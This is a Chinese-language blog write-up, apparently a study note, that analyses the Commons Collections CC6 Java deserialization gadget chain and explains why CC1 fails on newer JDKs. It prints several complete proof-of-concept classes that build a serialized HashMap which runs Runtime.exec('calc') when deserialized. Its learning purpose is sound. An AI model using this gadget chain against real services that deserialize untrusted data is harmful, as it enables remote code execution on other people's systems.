# 前言

上一篇也是吧 CC1 的过程重新分析了一下,第一遍学习可能是因为临近考试,过于浮躁,第二遍给我的收获还是很大的😹,当然决定了要重新看一遍 CC 链也不会只调试 CC1 就结束了,后面的也慢慢补上,这篇就记录 CC6 这条利用链。

# CC6

这条链子其实是为了解决 JDK 高版本无法利用 CC1 的问题,还是先贴一个总的逻辑图

image-20230803133851077

上面的是 CC1 的链子,下面框选中的是 CC6 这条链子,URLDNS+CC1 的结晶无疑了

# 高版本修复

先看一下为什么会说高版本无法利用,其实主要是在 AnnotationInvocationHandler 的 readobject 方法中做了一些针对性的修复

image-20230803162224936

这里 setvalue 函数就没有了,所以最上面那个走到 checkSetValue 的这条链就不能再利用了,他复制了一份 linkedHashMap 对象,而不是直接用传入的对象,自然也就不能触发 transform,这里这个类很明显就不能再利用了,所以也就出现了 CC6 这条链子

# 逻辑分析

实际上在 CC6 这条链子中,后面的部分还是和 CC1 是一样的,毕竟改变的是 AnnotationInvocationHandler 的 readobject 方法,从 LazyMap 的 get 方法之后的调用是一样的,上一篇中已经说过了,这里简单的走一下流程

image-20230803163617216

首先还是利用 InvokerTransformer 的 transform 方法来执行任意方法,所以在 poc 中执行代码的部分是没有改变的

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);

image-20230803163921806

然后就直接到了 LazyMap 的 get 方法有一个 factory.transform 可以动态调用 transform 方法,CC1 中这里使用的是 AnnotationInvocationHandler 中的 invoke 方法,这里前面的调用链不能再使用,

但是实际上调用 get 的地方还有很多,很显然高版本中不能利用的解决办法也就找到了

image-20230803164235707

在这么多的地方再寻找一条链子使得调用链子完整就可以了,当然了这里也是找到了 TiedMapEntry 这个类中

image-20230803164731004

在它的 getValue 方法中调用了一个 get 方法,接着看一下构造方法

image-20230803164805749

很显然这里的 map 和 key 都是可控的,这里也就可以动态调用,接着寻找哪里调用了这个 getValue 方法

image-20230803165126446

其实还在同一个类下的 hashcode 方法,看到这里其实就很亲切了,前面在 URlDNS 链子的分析中就已经见过这个方法,通过 HashMap 就可以轻松的调用到这里,那么整个调用链就很清晰了

public class TestClass {
    public static void serialization(Object object)  throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("serialization方法成功执行");
    }
    public static void unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("URLDNS.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("unserialization执行成功");
    }
    public static void main(String[] args) throws Exception {
//
//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        Object invoke = getRuntime.invoke(null, null);
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法
//        Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class);
//        Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1);
//        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map decorate = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "a");
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tiedMapEntry,"b");
        serialization(kvHashMap);
        unserialization();
    }
}

目前改过的 POC 就是这个样子了,当然他和 URLDNS 那条链子所面临的问题相同

# PUT 影响

这个代码本意是当反序列化的时候会调用一个 hash 方法

image-20230803171616972

接着在 hash 中调用一个 hashcode

image-20230803171653141

当然这里也是动态调用,key 可控,所以接着会调用到 TiedMapEntry 它的 hashCode 方法,接着调用后面的一系列链子

image-20230803171751275

但是这里由于需要将 tiedMapEntry 这个类 put 进 HashMap 中,所以这里调用了一个 put 方法

image-20230803172303558

这里实际上也会调用一个 hash 方法,所以这里也会触发这条链子,所以说这里要进行一个修改,让其在 put 的时候无法触发这条链子

image-20230803172909587

当前的代码逻辑中,在 TiedMapREntry 中当了一个 LazyMap,这里就改它

public class TestClass {
    public static void serialization(Object object)  throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("serialization方法成功执行");
    }
    public static void unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("URLDNS.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("unserialization执行成功");
    }
    public static void main(String[] args) throws Exception {
//
//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        Object invoke = getRuntime.invoke(null, null);
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法
//        Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class);
//        Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1);
//        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map decorate = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "a");
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tiedMapEntry,"b");
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factory = clazz.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);
        serialization(kvHashMap);
        unserialization();
    }
}

image-20230803173627093

这里改完后在 put 的时候就不会再弹计算器了,但是反序列化的时候也不弹计数器

# 影响

这里其实还是 put 时候导致的问题,这里将断点下在 put 上调试一下

image-20230803180004950

这里直接快进到出现问题的地方

image-20230803180035576

就是这个 LazyMap 中的 get 方法,这里会判断当前的 key 存不存在,如果不存在就会将这个 key 值 put 进 map 中

image-20230803181216624

当反序列化的时候因为有这个 aaa 就无法进到 if 中

image-20230803181347797

所以在 poc 中 put 后面需要删除这个键值对,修改后就是这个样子,这也就是最终的 POC 了

public class TestClass {
    public static void serialization(Object object)  throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("serialization方法成功执行");
    }
    public static void unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("URLDNS.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("unserialization执行成功");
    }
    public static void main(String[] args) throws Exception {
//
//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        Object invoke = getRuntime.invoke(null, null);
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法
//        Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class);
//        Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1);
//        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map decorate = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa");
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tiedMapEntry,"bbb");
        decorate.remove("aaa");
        Field clazz = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredField("factory");
        clazz.setAccessible(true);
        clazz.set(decorate,chainedTransformer);
        serialization(kvHashMap);
        unserialization();
    }
}

image-20230803181517444

# 补充

在调试的时候我注意到这样一个点,这里简单记录一下

image-20230807175200257

在这里调用 decorate 方法的时候我发现这里的 key 值随便写入了一个 aaa

image-20230807174521839

但是在调试的过程中,我发现这个 key 其实是传入 transform 中的参数,在最后调用 InvokerTransformer 的 transform 方法的时候

image-20230807174705243

它其实是通过 ConstantTransformer 修改了这个值,在分析 CC1 的时候这样做是因为参数不可控,所以利用了这种方式,但是这里应该是可以用更简单的方式来完成这件事。所以我简单的改写了一下

public class TestClass {
    public static void serialization(Object object)  throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("serialization方法成功执行");
    }
    public static void unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("URLDNS.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("unserialization执行成功");
    }
    public static void main(String[] args) throws Exception {
//
//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        Object invoke = getRuntime.invoke(null, null);
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法
//        Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class);
//        Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1);
//        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke);
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);// 通过调用 Runtime 的 exec 来命令执行
        Map map = new HashMap();
        Map decorate = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, Runtime.class);
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tiedMapEntry,"bbb");
        decorate.clear();
        Field clazz = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredField("factory");
        clazz.setAccessible(true);
        clazz.set(decorate,chainedTransformer);
//        serialization(kvHashMap);
        unserialization();
    }
}

image-20230807175414737

当然也是可以成功的,因为要解决上面提到的 put 的影响,原来的 poc 中使用了 remove 方法删除了 map 中的键值对,这里我直接就使用了 clear 方法清楚全部